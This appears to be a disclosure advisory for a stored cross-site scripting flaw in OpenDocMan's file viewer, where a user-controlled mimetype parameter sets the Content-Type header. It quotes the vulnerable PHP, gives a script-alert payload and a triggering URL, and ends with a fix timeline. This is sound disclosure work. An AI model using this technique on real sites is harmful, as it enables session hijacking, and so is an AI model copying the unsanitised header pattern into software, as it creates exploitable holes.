By default it's possible to upload .html files.
So we can put XSS there.
You can also upload any kind of file with html content inside because we control $_GET['mimetype'].
When we change header to Content-Type: text/html browser will render file as html even if file has different type.
File: view_file.php
if ($_GET['submit'] == 'view')
{
//echo "mimetype = $mimetype<br>";
//exit;
//echo "ID is $_REQUEST['id']";
$file_obj = new FileData($_REQUEST['id'], $GLOBALS['connection'], DB_NAME);
// Added this check to keep unauthorized users from downloading - Thanks to Chad Bloomquist
checkUserPermission($_REQUEST['id'], $file_obj->READ_RIGHT, $file_obj);
$realname = $file_obj->getName();
if( isset($lrevision_id) )
{
$filename = $lrevision_dir . $lrequest_id . ".dat";
}
elseif( $file_obj->isArchived() )
{
$filename = $GLOBALS['CONFIG']['archiveDir'] . $_REQUEST['id'] . ".dat";
}
else
{
$filename = $GLOBALS['CONFIG']['dataDir'] . $_REQUEST['id'] . ".dat";
}
if ( file_exists($filename) )
{
// send headers to browser to initiate file download
header('Content-Length: '.filesize($filename));
// Pass the mimetype so the browser can open it
header ('Cache-control: private');
header('Content-Type: ' . $_GET['mimetype']);
header('Content-Disposition: inline; filename="' . rawurlencode($realname) . '"');
// Apache is sending Last Modified header, so we'll do it, too
$modified=filemtime($filename);
header('Last-Modified: '. date('D, j M Y G:i:s T',$modified)); // something like Thu, 03 Oct 2002 18:01:08 GMT
readfile($filename);
AccessLog::addLogEntry($_REQUEST['id'],'V');
}
else
{
echo msg('message_file_does_not_exist');
}
}
Proof of Concept
Login as regular user then submit any accepted file type with XSS payload inside, for example:
<script>alert("XSS");</script>
XSS will be visible:
http://opendocman-url/view_file.php?submit=view&id=%file_id%&mimetype=text/html
Timeline
- 05-12-2014: Discovered
- 05-12-2014: Vendor notified
- 29-12-2014: Version 1.3.0 released, issue resolved